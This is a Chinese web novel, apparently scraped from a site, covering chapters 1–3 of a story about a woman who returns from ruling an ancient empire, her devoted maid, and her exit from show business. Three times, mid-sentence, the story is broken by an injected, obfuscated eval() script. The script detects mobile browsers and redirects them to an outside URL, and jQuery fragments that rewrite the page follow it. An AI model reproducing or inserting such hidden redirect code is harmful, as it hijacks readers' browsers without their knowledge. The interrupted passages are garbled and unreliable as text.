《我的后宫出道了！》 1. 第1章 夏日炎炎，程青厌坐在空调房中，仍有些罕见的茫然。 时隔五年，她终于又一次能吹到空调。 无数想要穿越古代的少女们可能并不会想到，穿越之后哪怕成了皇帝，叫上一百零八个宫女给她扇风放冰，也不如现代随手一开空调来得舒坦。 程青厌之所以能下这个结论，因为她正是那个穿越去古代成了女帝把国家治理得昌明繁荣，又在一觉醒来后重新回到现代的倒霉蛋。 她在现代是干什么的来着？这些年在古代接触帝王心术，过得太投入了，还以为能当一辈子被万人尊敬崇拜的女帝，一瞬间回到现代，竟有些陌生之感。 “宿主，好久不见。”系统的机械音响起，“恭喜你在古代达成【盛世明君】成就，已将你传送回现代。五年前答应你的成就礼物是，这本书的全部内容。” 她笑道：“好久不见。” 程青厌从五年前被强制穿越刚登基的女帝，系统就说过，不设置任务目标，但如果能将国家治理到一定程度，她才有机会回到现代，还会送她一份最需要的大礼。 为这些，她才在古代兢兢业业，从一个每天只想着打扮自己讨好未婚夫的怨种恋爱脑，变成了只顾政事不顾情爱的合格女帝。 她站起身，看着镜子里睡觉都舍不得卸妆的自己，叹了口气：“传吧。” 她卸掉了一脸的妆，也彻底了解了未来会发生的事情。 她在的世界是一本名叫《我的二婚老公》的甜宠文，男主是她未婚夫裴云晋，女主是未来她结婚又离婚后裴云晋的女朋友，名叫莫贝贝，是当红小花，典型的傻白甜与霸道总裁的爱情故事。 而程青厌则是小说中从头坏到尾的恶毒女配，仗着程家是唯一能与裴家相比的产业集团，对她父亲死缠烂打跟裴云晋缔结婚约，为了这男人什么脑子发昏的事情都去做。 甚至拒绝接手程家继承人的位置，裴云晋之前跟莫贝贝有些绯闻，她就火速赶往娱乐圈出道。凭着一张脸太过打眼，出道之后确实立刻火了，只是来的都是骂名。 恶毒女配做得再多也得不到男主的心，女主成功上位，被娇宠一生，程青厌则落得个家破人亡的下场。 脑子里过了一遍自己即将到来的悲惨人生，程青厌却淡定得像在看电视剧，抬眉：“就这？” “这就是你所谓的大礼？”她声音并不大，语气也不重，可眼睛微眯时有种上位者自带的威压，“我的未来，我在古代就已经预估得差不多了。” 若是五年前的恋爱脑程青厌，那这份预知信息的价值实在太重。可这对女帝程青厌来说，是早就能预想到的结果了。 程家的公司已有颓废的征兆，父亲年纪大了心力交瘁，再有她之前那样不管不顾给人倒贴，程家找不出合适的接班人撑场子，破产也是迟早的事。 至于裴云晋……她确实没想到这男人真这么狠，但她当女帝时后宫中或温柔体贴善解人意，或高岭之花唯独为她下凡，或脾气暴躁却给她洗手作羹的帅哥实在太多，裴云晋长什么样她都想不起来了。 真是可惜，她不在宫中了，也不知他们未来该怎么办。 “陛下恕罪。”或许是因为这是最后一次见面，系统之前大了胆子跟她开了个玩笑，“刚才那个只是附带的。真正的礼物是，你后宫的所有人，到了他们大限时，能够让他们自行选择要不要来陪你。那些还能活很久的，也会随机问他们愿不愿意现在就死，死了就可以来你身边了。” 程青厌有些无奈：“那些大限到了的也就算了，还能活很久的，怎么可能会愿意放弃原本的生活，就为了见我？” 治理国家到什么地步才算登顶，这是她无法测算的，所以她早就布局好了某天突然离开古代后，由比自己小几岁的堂妹接任皇位，而且不要苛待她的后宫。这皇妹对她就跟对亲妈一样亲，为人也仁厚有能力，不会出什么事的，自然也不会有人被逼到活不下去了宁愿提前死也要来找她。 包括前朝的大臣与伺候她的宫女嬷嬷们，虽然跟她感情很好，但应该也不会愿意这样去赌吧。 系统好胜心激起来了：“那我们现在就来试一次。” 程青厌没管它，收拾着自己的衣柜，将里面那些故意扮小扮幼、完全不符合她一米六八的身高的衣服全都扔掉。 于是衣柜空得只剩下内衣。 程青厌：“……” 真想把几年前的自己拉出来打一顿，这跟束腰一样紧的裙子，勒在身上难道就不痛吗？ 就这对着衣柜摇头的瞬间，一声凄惨的“陛下”响在耳边。 程青厌微讶，回头看到个衣着肃穆的女人要给她行跪礼，连忙将她扶起：“连嬷嬷，你怎么到这来了？” 她想起系统的话，脑中问道：“连嬷嬷已经时日无多了吗？”连嬷嬷已经四十多岁了，在古代环境下已经算年纪大了。 “不是，她还有十几年能活，但她愿意追随你来到这里。” 程青厌心头泛起涟漪。 连嬷嬷见她坚持，跪是不跪了，可眼泪却止不住：“陛下受苦了！陛下千金玉手，往常只用来握朱笔、开弓箭，如今这些琐事竟要陛下亲自操劳，老奴羞愧啊……” 程青厌看了看衣柜，又看了看她，发觉古代确实也有好处。 真正做在万人之上的位置，任何衣食起居都有人代劳，这种亲自整理衣服的事情，做女帝时是完全不可想象的。 “陛下，老奴还以为您已经驾崩，以为这辈子再也见不到您了，只想着死后再来侍奉您。不曾想有个奇怪声音问老奴愿不愿意继续追随您，老奴便立马应下，真的就到了这死后的地方来！陛下如今过得可好，为何一个奴仆都没了？” 安慰了连嬷嬷几句，她再次开口：“好了，听我说。” 连嬷嬷立马跪地，如同以往每一天一样，等着这位九五至尊发下生杀予夺的命令。 不过这次却不同，她道：“这里是我的故乡，没有什么奴仆的说法，你也不要再跪，不合时宜。我在这里也不是皇帝了，你直接叫我名字就是，你也不要自称奴了。这是与锦朝截然不同，有很多不同的规矩和事物。你既然来了，恐怕再难回去，只能尽快适应。” 谁知连嬷嬷连连摇头：“陛下，其他的我自然能做到，可直呼您的名讳，我实在不敢。” “慢慢来吧。”程青厌也不会要求她瞬间适应一个完全不同的世界，只是脑中已经有了未来的构想。 现在是连嬷嬷穿到现代来了，以后说不定还会有谁要来。这些人放弃了在锦朝安稳的生活，只求再见她几面，她当然不可能辜负这份情谊，起码得将他们在现代安置好。 得给连嬷嬷以及未来可能到来的后宫的人们找个工作才行。 见连嬷嬷一边给她端茶倒水，一边为她目前不是皇帝了而心疼，她好笑道：“这个社会没有皇帝了，每个人都是平等的。” 正要将自己在这里的身份说一下，房间门突然被推开，一个身材粗胖的女人声音略带不悦：“青厌，这都八点多了还不起来，云晋是什么时候走的你都不知道吧？你这么懒散的性子，怎么嫁到裴家来？” 程青厌眉头微敛。 这是裴家的保姆，她为裴云晋和父亲大吵一架后，搬到了裴家的别墅。这保姆从小照顾裴云晋，对着她还真敢拿起主人架势来。 还没等她开口，正在倒茶的连嬷嬷如闪电一般挡在了她左前方，看了眼她的脸色，确定她不喜欢这个人后，开始了来自深宫老嬷的输出： “你是什么人？” 连嬷嬷和裴家保姆同时质问对方。 可连嬷嬷的表情太自然太顺理成章了，仿佛她会出现在程青厌身边是一件再正常不过的事。裴家保姆就算见多了有钱的客人来别墅做客，哪里见过在后宫中照料皇帝起居十年、见惯无数高官显达的连嬷嬷？ 她被这么一问，竟然有了种理亏的感觉，不自觉矮了身段答道：“我是裴家的保姆，负责照顾裴总生活起居的。” “照顾起居？裴总？” 连嬷嬷不知道什么裴什么总，而刚刚程青厌那番人人平等的讲话显然没法立刻入侵连嬷嬷已经在封建王朝待了一辈子的脑子里，她立刻抬起了宫中老嬷嬷的气势： “裴家的，我管你什么裴总，你给我看清楚你面前的是谁！这可是陛下，天下都由她掌管，陛下想做什么就做什么，哪里轮得到你多嘴？若非今时不同往日，早就将你打入大牢，哪还有你说话的地方？” 这一席话说得又快又重，还吐字十分清晰，保姆只觉得脑瓜子嗡嗡的，想反驳点什么，却又根本想不出该说什么。 陛下？难道程青厌在这女人眼里就跟陛下一样尊贵？ 是了，程青厌可是程家的大小姐，可不就跟古代的陛下一样尊贵吗？ 可就是这么一个来头大的人物，她这么多天竟然都敢横眉冷眼的，天知道程青厌心里是不是已经记恨上了！ 连嬷嬷那份忠心护主的气势没有丝毫作假，再联想到程青厌的身份，保姆的心中瞬间打起鼓来。 程青厌平时是对她们好，而且是太好了，才叫她们时常忘了自己只是被请来照顾人的而已。 保姆看着程青厌面无表情的脸，内心恐惧不已：“程小姐，你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13396412|141195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 别误会，我没有坏心的啊。我就是随口一说，我以后再也不敢了，你心地善良，千万别跟我们这种人置气。” 很多时候，她身为皇帝有些话不方便直接说，连嬷嬷都能敏锐地察言观色，做她的嘴替。 但问题是这已经是现代了，还陛下陛下的，面无表情已经是她尴尬的最后保护色。 连嬷嬷挤开保姆，躬身请她出门。 程青厌：谢邀，已社死。 不过她确实不会再住在裴家的别墅，拿走手机，她看了一眼保姆：“这些事我会跟裴云晋说清楚。” 保姆的脸色瞬间苍白。 保姆是看着裴云晋长大的，哪里能不清楚他只要听到程青厌告状，是一定不会轻拿轻放的！ 那她这份工作还能保得住？ “程小姐你要去哪！”她不甘心地喊。 “回我自己家。记得跟裴云晋说，这个地方我不会再回来住。”程青厌大步走出门去，连嬷嬷亦步亦趋地跟在后头，嘴角满是崇敬的笑。 不愧是她们陛下，不管什么境地、什么身份，都是一样不会给自己气受的性子。 没再管保姆的叫声，她带着连嬷嬷一路穿过别墅小区。 连嬷嬷见到这根以前没有半点相似的世界，却什么都没有问。跟以前一样低着头，仪态端庄地追随着她的步伐，仿佛这样就能在全然的变化中找到唯一不变的锚点。 程青厌明白她在想什么：“我也是刚刚回到故乡，等解决完这些麻烦事，暂时安顿下来后，再来跟你好好介绍这里。” 头一件麻烦事，就是等在小区周围的一众记者。 富人区治安好，记者闯不进来，又不甘心放过关于她的大新闻，在附近没日没夜地蹲。 她要离开小区时，保安大爷还担忧道：“真要这时候出去？” 她笑：“放心吧，没事的。” 果然，大爷刚开门，记者就跟闻到腥味的猫一般，眼睛和闪光灯全都亮了起来，话筒朝她伸过来： “程小姐，关于你之前在剧组耍大牌，把莫贝贝骂哭的事情，你有什么要解释吗？” “你到底有什么背景，怎么刚出道就能住在别墅区？” “《花云衣》剧组制作人说要把女主角从你换成莫贝贝，对此你有什么看法？” “……” 问题如连珠炮一般袭来，每个都充满了不怀好意。至于程青厌身后的妇人，被看成了她的某个穿着古装的亲戚，根本无人在意。 程青厌此时还是素颜，可一双琥珀色瞳孔里没有丝毫慌乱，有的只是仿佛见过了世间风云变幻后余下的沉静。 她丝毫不避讳镜头，大大方方地说出了一句让在场所有人都愣了几秒的话：“我现在要退出娱乐圈。” 所有记者：“？？？” “你在开玩笑？” “这可不是能随便说的，真退了可就再也回不来了。” “就因为在剧组耍大牌的黑料就要退出娱乐圈吗？你难道不对耍大牌行为做出澄清？” “不需要澄清。”她接过那个记者的话筒，“我就是大牌，耍大牌很正常。” 嚣张狂妄至极。 记者们一时无言，因为他们内心深处也不得不承认，不过是一天没见，程青厌的变化真的很大。原本看上去就是一个长得很漂亮的烦人精，但是现在，怎么竟有种睥睨天下的感觉？ 根本不知道她有什么来历，可是怎么就觉得……她说自己是个大牌，好像不是无的放矢呢？ 难不成程青厌真有什么大背景？ 就在记者们脑中构思头条标题要什么之时，一个被帽子口罩墨镜裹得严严实实的女生冲了过来，手里的奶茶直直地往程青厌脸上砸来。 好几个记者的尖叫都已经卡在嗓子眼里了，千钧一发之际，只见程青厌似有所感地往后退了两步。 看来奶茶要洒到地上了。大伙一口紧张的气还没完全松懈，正要拿起镜头去好好拍拍这突然袭击的真凶，却发现奶茶并没有如他们预料地掉落在地，而是—— 刚刚被他们以为是平平无奇的老太，一个闪身，几乎是瞬移般变到了程青厌前方。不仅单手接住奶茶，就连被抛出一条抛物线的痕迹都被完美还原，这没有杯盖的奶茶，竟然一滴都没有洒到地面上。 记者：“？” 你们在搞什么行为艺术吗？ 这是人能做出来的事？还是一个看上去五十多岁的古装老太？！ 不仅如此，她一只手握着奶茶，另一只手抓住明显惊慌失措想要逃离的女生：“大胆刺客，竟敢袭击陛下，罪该万死！” 2. 第2章 “放手，你凭什么抓我！” 女孩高声叫喊，双手奋力挣脱连嬷嬷的钳制。 可她怎么也想不到，这看起来又瘦又矮一个老太，捆起人来怎么比她当教导主任的妈小时候打她还有劲？ 更要命的是，挣扎过程中她遮脸的帽子掉在地上，露出一头蓝头发。 记者们脑子里天天都是各种八卦，见到此眼睛放光： “这个小蓝是莫贝贝的粉丝吧？之前还因为追星太疯狂上了热搜的，就是这个蓝头发。” 不知道谁第一个根据蓝头发喊她小蓝，这个简单顺口的称呼瞬间得到了一众娱记的认可： “小蓝看下这边！请问你为什么要用奶茶砸程青厌呢，是否因为觉得莫贝贝受委屈了为她抱不平？” “小蓝你也不能对一个五六十岁的老太太下手，真要出了什么事我们可没法给你作证的。” “小蓝到底是什么鬼称呼！”蓝头发女孩的眼泪都快飚出来了，“你们这一群人有没有眼睛，我都快呼吸不上来了，怎么对她下手啊！” 程青厌见她真有些面色憋红，道：“好了。” 声音不大，连嬷嬷却在无数嘈杂中捕捉到。 蓝头发女孩在这时候用上了全部的力气，哪知道禁锢她的双手正好松开，她所有的力气都推动她把自己狠狠摔在了地上。 这一声响令快门键都安静下来。 记者们用一种看傻子的眼神注视着她。 “……小蓝，你就算要陷害程青厌，也不用这么拼吧？” 小蓝浑身酸痛，只想躺在草地上再也不要起来，不要面对这个世界。 可一想到帽子掉了，口罩只遮住了小半张脸，她撑着最后一股劲爬起来，指着最先开口的那个记者说：“我再跟你说一遍，我……真的……没陷害她……” 程青厌打量了她几眼，道：“你腰腹上的肌肉可能拉伸到了，记得及时去医院。” “用不着你假好心！” 一听到程青厌的声音，小蓝又回归了中气十足的女高音，捡起帽子遮住蓝头发，一瘸一拐地快速跑了。 毕竟是素人，记者们不敢报道太多，重新聚焦到口出退圈狂言的程青厌身上。 “程青厌据说你住在富豪区是因为有金……”记者不怀好意地开口，一般这种问题，对女明星来说怎么回答都是错，尤其是程青厌这种名气大名声差的。 然而他一接触到那个干瘦的老太太审视而鄙夷的眼神，一股由学生时代开始的，做坏事时遇到教导主任的心虚与恐惧，时隔十多年后再次对他的心灵产生了震颤。 “……惊心动魄的故事，你能跟我们说说吗？” 他改口顺滑得自己都觉得不可思议。 “没有什么故事。今天最大的故事已经给你们了，我要退出娱乐圈。”程青厌淡淡看过去，“这个新闻还不够大？” 记者被连嬷嬷这么一吓，再见到让其言听计从的程青厌，就差没鞠几个躬：“够了够了，您慢走。” 程青厌离开裴家带的行李就是自己的几件衣服，裴云晋送的一屋子礼物她全部留在原处。 父亲早在她离家出走时就停掉了她的卡，她以前花钱大手大脚，作为明星出席活动的资金赚多少花多少，目前唯一能支配的就是手机里几百块钱。 程青厌一边打车，一边给连嬷嬷介绍起现代的生活。 “这里是锦朝几千年后的世界，技术非常发达。就像是汽车，不需要人力也可以开得很快。你在这里见到什么也不用感到奇怪……” 连嬷嬷坐在车上，严肃认真地观察陛下的故乡，指着一个不明物种说：“陛下，那个也不用奇怪吗？” 程青厌顺着望去，看见一个穿着霸王龙衣服的人坐在自家别墅门口的石狮子上打游戏，性别不明。 “……这个倒是可以奇怪一下。” 她咧嘴敲了敲石狮子，霸王龙脑袋往她这一偏，吓得一抖。 “姐！”头套下慌慌张张地钻出一个男生脑袋，“你怎么在这——姐夫欺负你了？” 程嘉禾从石狮子上蹦下来，把程青厌从头到尾看了一遍：“没砸东西没受伤，看起来也没哭，那就不是跟姐夫有矛盾？你都一年没回来了，总不可能是来跟爸商量你跟姐夫的婚期吧？今天真的不行啊姐，爸收到财务报表说我们家公司已经开始有亏损了，你要跟他吵架也得挑个别的时候。” 程青厌似笑非笑地瞥他：“我在你心里就是这种形象？” 出于姐弟之间的血脉压制，程嘉禾并不敢说什么，但沉默已经代表了许多东西。 程青厌并不生气，自己曾经做过的错事，她知道是有原著剧情的影响，但别人并不清楚。 弟弟对她之前种种匪夷所思的事迹从没有抱怨，只是担心她在裴家有没有受委屈，已经足够让她体会到亲情了。 “这是一直很照顾我的一位长辈，姓连。”她将一直跟在身后，脚步声都修炼到完全消失的连嬷嬷介绍出来，随口问，“爸在吃饭吗？” 连嬷嬷在她穿越之前只是宫里最低等的洒扫宫女，宫女到了二十五岁便能出宫，她却因为家人全都不在了，一直留在宫内做最辛苦的活。 后来程青厌将她提拔上来，成了照顾女帝的嬷嬷，后宫里人人都得敬着，却没办法改变她四十多岁就看着像五六十岁的相貌。 “多谢连姨照顾我姐姐。”程嘉禾嘴甜，歪打正着喊了正确的称呼，却还是不放心，“姐，爸刚刚真的生过一场气了，如果你……” “放心。”她打断道，“我来不是谈什么婚期，而是叫爸把我跟裴家的婚约取消。” “啊？” 他愣在原地，手机脱手掉到地上都没有发现。 等他被手机游戏里小人闯关失败的提示音喊清醒，程青厌已经进门去了。 “姐，你等等！”他飞一样跑进去，差点被还没脱下来的霸王龙衣服给绊倒，“要不然你还是说你要跟裴云晋结婚爸可能更好接受一点！” 然而已经晚了。 他冲进门看到父亲原本就严肃的眉间皱纹像是要裂开。 程嘉禾闭了嘴，退回门外乖乖把恐龙衣脱了，蹑手蹑脚地招待连嬷嬷去客厅看会电视，别让即将到来的父女大战波及到外人。 “程青厌。”全国实业巨头瑞铭的董事长程晖哪怕不是在公司，西装领带依旧打得一丝不苟，一向沉稳的声音难以遏制地带了恼怒，“你今年已经二十三了，不再是小孩子，胡闹也该闹够了！你不吃不喝求我去跟裴家定下你和裴云晋的婚约，这才过去一年，你又要我把婚约退掉？” “我现在对裴云晋没有感情。我与他的婚约是看在你和裴家老爷子的感情上强行定下来的，瑞铭和兴茂的合作往来很少，算不上商业联姻，解除起来也并不困难。” 程晖想起一年前那个满心满眼都是裴云晋的女儿，再看她现在，眼神之中只有坚定，哪里还有半分感情在？ 他哪里还会不明白这一年发生了什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13396413|141195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么，却必须让自己的心硬起来：“解除婚约之后呢？我给你挑别的青年才俊，让那些不知根不知底的以后图谋瑞铭？” “用不着挑谁。”程青厌能从他的冷言冷语中听出对自己的恨铁不成钢，语气也柔软下来，“爸爸，我是B大管理学院的，我们家的产业当然不可能交给外人。之前是我被人迷了心智，一门心思扑在裴家身上，现在我已经醒过来了。” 程晖还不至于被她一句话就说动：“你一毕业就跑去裴家，还去当个什么明星，在公众面前把脸都丢尽了。真要想悔改，就做出点成绩看看。” 程晖是典型的老一派企业家，瑞铭被他白手起家做到如今遍布全国的房地产、商场、医疗、餐饮等产业，靠得就是他严谨诚信，做人做事不出一点岔子的作风，自然很是看不上娱乐圈这种地方，认为里面的艺人大多喧嚣浮躁，不是踏实做事的人。 程晖一向低调，从不靠博眼球来提升知名度，自身都没炒作过话题，作为程家大小姐的程青厌他也从没有向媒体公布，以至于娱乐圈的人都不知道程青厌的身份。 不过哪怕这样，程晖也觉得她进入娱乐圈的行为不够稳重。 “可是我听嘉禾说，你给他买了好多个手机，让他换着号帮我投诉骂我的评论。” 程晖看向程嘉禾。 程嘉禾正在默默扒饭。 程嘉禾的头越来越低。 程嘉禾竖起手指：“爸我去客厅吃饭，招呼一下姐带回来的客人，拜拜。” 程晖没工夫理他，对程青厌说：“你从瑞铭的子公司里挑一个，一年之内创下一个亿的收益，我就暂且相信你是真心能接我的班。” 程晖给她定了一个小目标，程青厌直接应了下来。 她当女帝时将一个中庸之国，治成经济军事文化各方面地表最强的国家，没道理回到最熟悉的现代还有什么好害怕的。 “慈宏，希灿，远庆，琦季……”程晖报了一堆公司名，“你选一个吧。” 这些公司都是与瑞铭的主营业务不太相干的，希灿是做航天的，远庆是互联网。程晖清楚瑞铭的发展已经隐有颓势，势必要弃卒保车，把这些主公司不会投入且经营状况不好的公司给女儿练手，才能看出她真正的实力。 “琦季。” 她没有什么犹豫。 程晖一听这话，又是皱了眉：“你就有这么爱娱乐圈？我可提前跟你说清楚了，瑞铭没有进军娱乐业的想法，琦季是一次失败的尝试，已经濒临破产只剩下一两个员工了。这一年期间我不会提供给你任何资金、人脉和信息的帮助，你选它可不要后悔。” 程青厌当然不会后悔。 这个世界是一本娱乐圈小说，她虽然没法阅读原著文字，只能从系统告知的关于她的命运里窥探一二，也能察觉到未来文娱产业的动向。 她怎么会因为惧怕所谓身为女配的命运，就不敢触碰娱乐圈？ 对于未知的了解只会成为她的助力，而非阻力。 程晖见她坚持，也懒得再劝，只道：“你不是还带了客人来？一起喊来吃饭，叫人在客厅多没礼貌。” “连姨。”她喊道，“这是我父亲。爸，这是最近一直帮助我的长辈，她暂时没有工作，就先跟我在一起。” 连嬷嬷不知道工作是什么，只是听到父亲两个字，一下子激动起来。 她记得陛下交代，这里的礼仪是鞠躬和握手，一把抓住程晖正要去拿筷子的手：“原来是太上皇！” 3. 第3章 程嘉禾：“？” 程晖以为自己没听清：“你说什么？” “她说的是煌上煌！”程青厌立马道，“连姨是乡下来的，一直听说有个卤鸭品牌叫煌上煌，一激动就记错了。嘉禾，麻烦你去买一点来。连姨，你也太客气了，拿筷子这种小事我爸自己会做的。” 一番话打消了程嘉禾对连嬷嬷古怪行径的怀疑，他从小给姐姐跑腿跑习惯了：“那我还要买周黑鸭！” “买买买。”她应道。 程晖不喜欢奢侈排场那一套，家里连保姆都没请，只每周请了固定的钟点工打扫卫生，平时的一日三餐都是程嘉禾做的。 不同于程嘉禾的缺心眼子，程晖老成锐利如鹰的双眼半眯，察觉到一丝古怪。 这个妇人，不论是气质还是言行，不像是所谓农村妇女，一开口会说错话的。 可要说她的真实身份，连程晖一下子也无法辨别，只觉得充满了违和感。 他说了些场面话，又叮嘱程青厌：“既然是照顾过你的人，要懂得感恩，不要让人家年纪大了还没个着落。” 程青厌点头：“连姨操持家务是一把好手，我明天去公司看看能不能给她找到合适的职位。” 连嬷嬷自知刚才的话可能被人觉得不对劲了，再不犯这样的错误，话都很少说，只在被提到时点头微笑。 吃过饭，程青厌打发掉送卤鸭的弟弟，将连嬷嬷带到自己房间：“嬷嬷，我以后只会叫你连姨了。你应该也看到了，这个世界大家都要有一份工作才能养活自己。我之前做了错事，父亲对我很不信任，没法让你过上跟以前一样管人的日子，你以后是要跟着我，去我公司里做事，还是我帮你找一份合适的工作，你自己去接触？” 就像程青厌做了决定就不会更改一样，连嬷嬷跟随她这么多年，沾染了她的习性，道：“我跟随陛下来到这里，就是做好了再为陛下做一辈子事的打算。遇到陛下之前，我是个最低等的洒扫宫女，以为要做一辈子被人欺辱的低贱活，是陛下看重我诚实勤劳，将我提拔到身边管事，才有我后来的好日子过。陛下的恩德，我只要活着一天，就要报答一天。” “好。”程青厌拍了拍她干燥起皱的手，从抽屉里拿出护手霜，“以前再贵的香料也延缓不了衰老，连姨你用这个吧。” 连嬷嬷眼里随时都有活，是个闲不住的人，涂了护手霜就说要给陛下打扫屋子。 程青厌卧室从来懒得收拾，也就由她去了，自己在书桌边开了文档，将未来要发生的事一条条写出来。 一、未来的文娱产业将飞速猛进，发展到此时的人们想象不到的地步。 二、程青厌在现代的几天前抢了莫贝贝《花云衣》女一号的位置，但莫贝贝会重新得到这个角色，并且凭借这部电视剧拿下最佳新人女主角，从一个几十万粉的小明星进入大众视野。 三、裴云晋就是《花云衣》的投资商，他会在这个剧组对这个无依无靠又独立自强的女生产生心疼之情，最后情不自禁地不断帮助她，为她的影后之路保驾护航，跟程青厌的协议婚姻作废，与莫贝贝公开恋情，携手一生。 如果程青厌有钱，她现在就会往花云衣剧组投上七八位数，超过裴云晋成为最大投资人，在他们俩暗生情愫之后成为最大受益人。 很可惜，她穷得只剩几百块，并且突然宣布退出娱乐圈，应该会令花云衣的导演焦头烂额，这辈子不想再见到她。 原著中就写了莫贝贝拍的三四部爆火的剧，以及与之相对的七八部敢碰瓷莫贝贝，被她反当陪衬的爆冷剧，对于其他项目少有提及。 程青厌将爆冷的剧圈出来提醒自己谨慎投资后，她打开微博，热搜第一条就是#程青厌退圈#。 搞娱乐圈的，舆论最重要。 先前她当明星只是为了跟莫贝贝别苗头，一贯脾气野不懂得退让，有什么说什么，受不得委屈。为此不止得罪了莫贝贝，还得罪了好几个顶流明星，被他们的粉丝攻讦得铺天盖地到路人都觉得有罪的程度。 这么个黑红女明星突然宣布退圈，舆论势必好看不起来： 【程青厌到底在搞什么，欺负莫贝贝被发现了，拉不下脸来道歉干脆退圈？】 【最讨厌的女明星就是程青厌了，从来不给别人面子，上次我爱豆不小心撞了她一下，给她道歉她都不理。演技那么烂，没有实力没有背景在那装什么啊？】 【有一说一，她性格确实不讨喜，丑闻也多，但是以后再也看不到这张脸了感觉是娱乐圈的一大损失。】 程青厌的脸过于明媚，一双圆润而上翘的双眼因神态而多了几分锐利。 大多数人都偏爱柔美的外表，这样不会令人们产生危机感，可以放心地赞美。 这确实是一张极美的脸，也确实不算多讨人喜欢。 而她也不需要谁的喜欢了，只要他们喜欢公司推出的项目和艺人，肯为公司花钱，怎么骂她都懒得管。 但她出道几个月，能火起来，也有许多粉丝的存在： 【青厌到底怎么了，是不是受了委屈？】 【姐姐为什么退圈啊！！以后再也见不到你了，真的好伤心，在我看不到的地方一定要幸福。】 【有什么事情可以跟我们说清楚吗，我们很担心你。】 她露出浅淡的笑意，编辑一条微博：【谢谢粉丝们的关心，我退出娱乐圈没有什么别的原因，只是觉得自己不适合做演员这个职业。我接手了琦季娱乐，希望能做出让大家满意的项目。】 微博发出去不过十几分钟，就被送上热搜，转发和评论过了万。 与此同时，#琦季娱乐#这个词条也在短时间内被多次搜索。 【琦季是什么公司？从来没听过。】 【我搜到了，就是瑞铭旗下的一个小作坊公司，艺人都没有一个，马上就要倒闭了。】 【程青厌没疯吧？当明星都这么有知名度了，突然转行去经营一个快要倒闭的公司？】 【只有我在疑惑她怎么接手琦季的吗，这可是瑞铭旗下的，为什么忽然要给她？】 程青厌深知赌约的难度，但凡她接手的是瑞铭旗下能正常营业的公司，那她在总裁位置上当个吉祥物都能一年赚过亿。 可琦季是已经被瑞铭放弃的公司，父亲说到做到，不会给她提供任何帮助，她只能用现有的资源去博一把。 第一步，利用自身热度打开琦季的知名度。 公司现在没有代表作品，只需要让网友对公司名大概有个印象，为之后做好铺垫就行了。 “姐，你手机响了。” 程嘉禾将她落在客厅的手机送过来，小声说：“是前姐夫。” 程青厌一时没想起“前姐夫”是哪位，看到屏幕上备注【AAA云晋哥哥】才“哦”了一声。 门外。 程晖发现程嘉禾脸色担忧，问明是裴家那小子打来电话，手中一抖财经报纸：“这丫头指定受了情伤，可别哄上几句又把婚约和事业当儿戏！” “青厌。”程青厌只听得见电话那头传来低沉的男声，“你是生气了吗？” 时隔五年再次听到自己青梅竹马的声音，程青厌惊觉自己已经丧失了曾经一见他便小鹿乱撞的激情，只剩下陌生之感。 她从学生时代便看上这朵高岭之花，强要折下，第十次告白那天，他看了她很久，才轻轻点头。 这么多年，裴云晋其实没做错什么。他冷淡却不冷漠，于事业上精进，也从来不辜负身边朋友。 可未来裴云晋会让她净身出户，完全不顾这么多年的情谊，她哪怕知道有剧情的影响在，也不可能再纠缠下去。 当程青厌彻底不在乎一个人，爱恨就都不重要了，只是把他当成兴茂的CEO来看待。 “没有什么好生气的。”她说，“以前是我强行要你跟我在一起，估计也让你为难了。裴总，我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13396414|141195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 父亲近日会与裴老爷子提出解除婚约，你有什么要商议的条件，可以现在就跟我说。” 他咬字清晰，有着贵公子的稳重：“青厌，如果你说的是保姆的事，我已经将她开除了，她不会有机会再见到你。还是说，你是因为网上的风言风语心情不好吗？” 程青厌笑了笑，如果她今天没有对保姆发作，没有提出退婚，那他从来也不会注意这些小事。 裴云晋在工作上从未出过差错。他不是没有一颗细致的心，只是不够爱她而已。 她耐心重申了一遍：“我的心情很好，并没有不理智的情绪。退出娱乐圈是我要收收心，开始学着打理公司了。退婚是觉得我们并不合适，我对你的感情也淡了，不如好聚好散，以后有项目还能合作。不用再把我看成不懂事的小孩了，裴总。” 裴云晋一时没有说话。 他语气略微快了些：“退婚的事情，我不同意。这段时间我一直在国外谈生意……” 程青厌微微皱眉，挂了电话。 她不明白裴云晋不答应退婚的原因。 不过这件事情并不重要，她没有理会裴云晋发来的消息，熄了手机继续对着电脑，将在现代的种种细节一一回想起来。 刚穿越去古代，她经历过最初的新鲜有趣后，痛哭流涕地怀疑自己再也回不来了，刻意逼自己不去想现代的事，省得徒增伤感。 她花了一晚上时间将过去与未来整理好，早早地关灯睡觉，准备明天用最好的状态去迎接截然不同的人生。 深夜。 